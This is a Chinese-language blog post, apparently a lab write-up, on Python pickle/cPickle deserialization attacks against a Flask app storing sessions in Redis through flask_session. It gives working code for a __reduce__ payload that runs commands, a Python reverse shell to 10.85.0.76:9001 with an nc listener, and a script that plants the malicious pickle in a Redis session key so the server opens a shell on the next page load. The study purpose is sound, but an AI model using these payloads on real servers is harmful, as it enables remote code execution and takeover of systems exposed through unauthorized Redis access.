摘要：反序列化安全問(wèn)題一這一段時(shí)間使用做開發(fā)，使用了存儲(chǔ)，閱讀了源碼，發(fā)現(xiàn)在存儲(chǔ)到過(guò)程中，利用了模塊進(jìn)行序列化以及反序列化正好根據(jù)該樣例學(xué)習(xí)一波反序列化相關(guān)的安全問(wèn)題，不足之處請(qǐng)各位表哥指出。

這一段時(shí)間使用flask做web開發(fā)，使用了redis存儲(chǔ)session，閱讀了flask_session源碼，發(fā)現(xiàn)在存儲(chǔ)session到redis過(guò)程中，利用了cPickle模塊進(jìn)行序列化以及反序列化；正好根據(jù)該樣例學(xué)習(xí)一波Python反序列化相關(guān)的安全問(wèn)題，不足之處請(qǐng)各位表哥指出。

Python中主要是用cPickle和pickle，前者是使用C語(yǔ)言實(shí)現(xiàn)，速度可達(dá)到后者的1000倍，使用范圍較廣（文檔鏈接）

cPickle可以序列化很多類型的對(duì)象，詳情見(jiàn)文檔。基礎(chǔ)語(yǔ)法就是：

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文檔中需要特別關(guān)注的是11.1.5.2，Pickling and unpickling extension types
這一節(jié)主要內(nèi)容就是講述cPickle序列化以及反序列化擴(kuò)展類的過(guò)程，原文有一句我并沒(méi)有完全理解意思：

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是：當(dāng)遇到解釋器一無(wú)所知的擴(kuò)展類型的時(shí)候，但是對(duì)于理解的這句話，擴(kuò)展類型是什么意思？后來(lái)想到Python中元類是type，這里extension types應(yīng)該理解為type類型的class。

class A(): # 舊類
     pass
type(A)

class B(object): # 新類 
     pass
type(B)

所以說(shuō)這一節(jié)主要針對(duì)的應(yīng)該是新類，即 class A(object) 此種寫法創(chuàng)建的類（存疑，待補(bǔ)充完善）；當(dāng)序列化以及反序列化的過(guò)程中中碰到未知類的時(shí)候，可以通過(guò)類中定義的__reduce__方法來(lái)告知如何進(jìn)行序列化或者反序列化，該方法可以返回string和tuple類型；問(wèn)題主要出在tuple類型（后面會(huì)細(xì)述），通過(guò)構(gòu)造__reduce__可達(dá)到命令執(zhí)行的目的：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可執(zhí)行whoami命令。同時(shí)也可以利用該方式反彈shell：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76執(zhí)行nc -lvvp 9001，即可成功獲取shell。

因?yàn)楸敬螠y(cè)試主要是依托于flask和redis，所以首先介紹一下flask_session。

flask中默認(rèn)使用客戶端session，如果想要配置服務(wù)端session，就需要使用flask_session配合Redis（后面皆以Redis為主）或者其他數(shù)據(jù)庫(kù)。flask_session使用Redis存儲(chǔ)session的過(guò)程（主要使用如下的接口實(shí)現(xiàn)，只展示部分代碼）：

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模塊導(dǎo)入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 獲取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 將session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存儲(chǔ)session
        ……
        val = self.serializer.dumps(dict(session)) ## 將session值序列化存儲(chǔ)到redis
        

上述過(guò)程簡(jiǎn)單說(shuō)就是：session存取過(guò)程存在序列化和反序列化的過(guò)程。
session在Redis中以鍵值對(duì)（key，value）的形式存儲(chǔ)。假設(shè)我們能夠操縱Redis中的鍵值對(duì)，將某個(gè)key的值設(shè)為我們序列化后惡意代碼（比如上面反彈shell的代碼樣例），然后在將自身的cookie設(shè)置為該key，在訪問(wèn)網(wǎng)站的時(shí)候，服務(wù)端會(huì)對(duì)于根據(jù)key查找value并進(jìn)行反序列化，進(jìn)而反彈shell。下面對(duì)于該想法進(jìn)行測(cè)試

測(cè)試環(huán)境：

victim：Ubuntu 14.04、Redis 2.8.4、IP：10.85.0.54

attacker：Win10、IP：10.85.0.76

此處我用flask編寫了一個(gè)服務(wù)端樣例：

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = "redis"
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = "session"
SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379")
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route("/")
def hello_world():
    session["name"]="test"
    return "Hello World!"

if __name__ == "__main__":
    app.run(host="0.0.0.0")

將上述代碼保存為app.py，第三方庫(kù)安裝完畢后，在服務(wù)器上運(yùn)行

python app.py

即可在5000端口啟動(dòng)簡(jiǎn)單的服務(wù)端，訪問(wèn)如圖所示，紅框中是我們的sid，也是服務(wù)端查找session內(nèi)容的key（因?yàn)樵O(shè)置了前綴，所以redis中key應(yīng)該是session+sid）：

此時(shí)如果說(shuō)我們將value設(shè)置為惡意代碼會(huì)怎么樣？

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host="127.0.0.1",port=6379)
r.set("此處為"session"和你的sid拼接",result)

運(yùn)行上述代碼后，我們可以發(fā)現(xiàn)我們的session內(nèi)容變成下圖所示內(nèi)容：

此時(shí)在attacker監(jiān)聽9001端口：

nc -lvvp 9001

然后刷新瀏覽器中訪問(wèn)頁(yè)面，發(fā)現(xiàn)成功反彈shell：

目前很多Python的Web應(yīng)用都用Redis等NoSQL進(jìn)行session存儲(chǔ)，當(dāng)攻擊者有機(jī)會(huì)去操縱服務(wù)端的session的時(shí)候（比如Redis未授權(quán)訪問(wèn)），配合反序列化漏洞即可執(zhí)行命令。上述提到的兩個(gè)庫(kù)cPickle和pickle，兩個(gè)庫(kù)實(shí)現(xiàn)的功能基本相似，后面會(huì)對(duì)于Python實(shí)現(xiàn)的pickle庫(kù)進(jìn)行分析為何會(huì)出現(xiàn)命令執(zhí)行的漏洞。